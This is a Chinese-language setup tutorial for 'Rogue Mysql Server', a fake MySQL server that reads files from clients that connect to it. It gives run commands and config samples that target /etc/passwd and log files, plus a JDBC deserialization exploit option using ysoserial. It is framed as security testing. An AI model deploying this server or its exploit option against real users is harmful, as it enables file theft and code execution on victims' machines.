如何快速搭建Rogue Mysql Server？5分钟入门教程与配置详解

【免费下载链接】rogue_mysql_serverA rouge mysql server supports reading files from most mysql libraries of multiple programming languages.项目地址: https://gitcode.com/gh_mirrors/ro/rogue_mysql_server

Rogue Mysql Server是一款支持从多种编程语言的大多数MySQL库中读取文件的工具，通过模拟MySQL服务器响应，帮助开发者在安全测试和数据读取场景中高效工作。本教程将带你快速完成环境搭建与基础配置，即使是新手也能轻松上手。

准备工作：环境与依赖检查

在开始搭建前，请确保你的系统满足以下要求：

• Go环境：项目基于Go语言开发，需安装Go 1.16或更高版本（查看版本：go version）
• Git工具：用于克隆项目代码库
• 基础编译工具：如make（Linux/macOS）或相应Windows编译环境

项目核心依赖已在go.mod中定义，主要包括：

• gopkg.in/yaml.v2 v2.2.5：用于解析配置文件
• github.com/sirupsen/logrus v1.4.2：日志处理
• vitess.io/vitess：MySQL协议处理核心库

一键安装：3步完成部署

1. 克隆项目代码库

打开终端执行以下命令：

git clone https://gitcode.com/gh_mirrors/ro/rogue_mysql_server cd rogue_mysql_server

2. 生成默认配置文件

项目提供配置文件生成功能，执行命令自动创建模板配置：

go run main.go -generate -config config.yaml

此命令会在当前目录生成config.yaml文件，包含服务器基本设置、文件读取规则和认证配置。

3. 启动Rogue Mysql Server

使用默认配置启动服务：

go run main.go -config config.yaml

看到Server started at [0.0.0.0:3306]提示即表示服务启动成功，默认监听3306端口（MySQL标准端口）。

核心配置详解：定制你的服务器

配置文件是Rogue Mysql Server的核心，通过修改config.yaml可实现多种功能定制。以下是关键配置项说明：

网络设置

host: "0.0.0.0" # 监听地址，0.0.0.0表示所有网络接口 port: "3306" # 监听端口，建议使用3306以提高兼容性 version_string: "5.7.30-log" # 模拟的MySQL版本号

文件读取配置

file_list: ["/etc/passwd", "/proc/version"] # 默认读取文件列表 save_path: "./data" # 读取文件的保存目录 max_file_size: 1048576 # 最大文件读取大小（1MB） always_read: false # 是否强制读取文件，忽略客户端支持情况

认证设置

默认无需认证即可连接，如需开启用户认证：

auth: true users: - "admin": "password123" # 用户名:密码 - "test": "testpass"

常见问题解决

端口被占用怎么办？

修改配置文件中的port参数，如改为3307，启动命令不变：

go run main.go -config config.yaml

如何验证服务是否正常工作？

使用MySQL客户端连接测试：

mysql -h 127.0.0.1 -P 3306 -u root

连接成功后，服务日志会显示客户端信息，如：New client from addr [127.0.0.1:54321] logged in...

配置文件解析错误？

检查YAML格式是否正确，特别注意缩进和冒号后的空格。可使用在线YAML验证工具辅助检查。

进阶使用：功能扩展

自定义文件读取列表

修改file_list参数添加需要读取的文件路径：

file_list: ["/etc/hosts", "/var/log/mysql/error.log", "/proc/cpuinfo"]

重启服务后，服务器会按顺序读取列表中的文件。

JDBC客户端利用

配置文件中开启JDBC漏洞利用功能：

jdbc_exploit: true ysoserial_command: "CommonsCollections6": ["java", "-jar", "ysoserial.jar", "CommonsCollections6", "calc.exe"]

此功能需配合ysoserial工具使用，用于测试Java客户端安全漏洞。

总结

通过本教程，你已掌握Rogue Mysql Server的快速搭建方法和基础配置技巧。这款工具不仅适用于安全测试场景，还可作为MySQL协议学习的实践平台。更多高级功能可参考项目源码中的mysql/目录，其中包含协议处理、认证机制等核心实现。

如果在使用过程中遇到问题，欢迎查看项目测试用例test/目录下的示例代码，或提交issue与社区交流。现在就动手尝试，体验这款强大工具带来的便利吧！

【免费下载链接】rogue_mysql_serverA rouge mysql server supports reading files from most mysql libraries of multiple programming languages.项目地址: https://gitcode.com/gh_mirrors/ro/rogue_mysql_server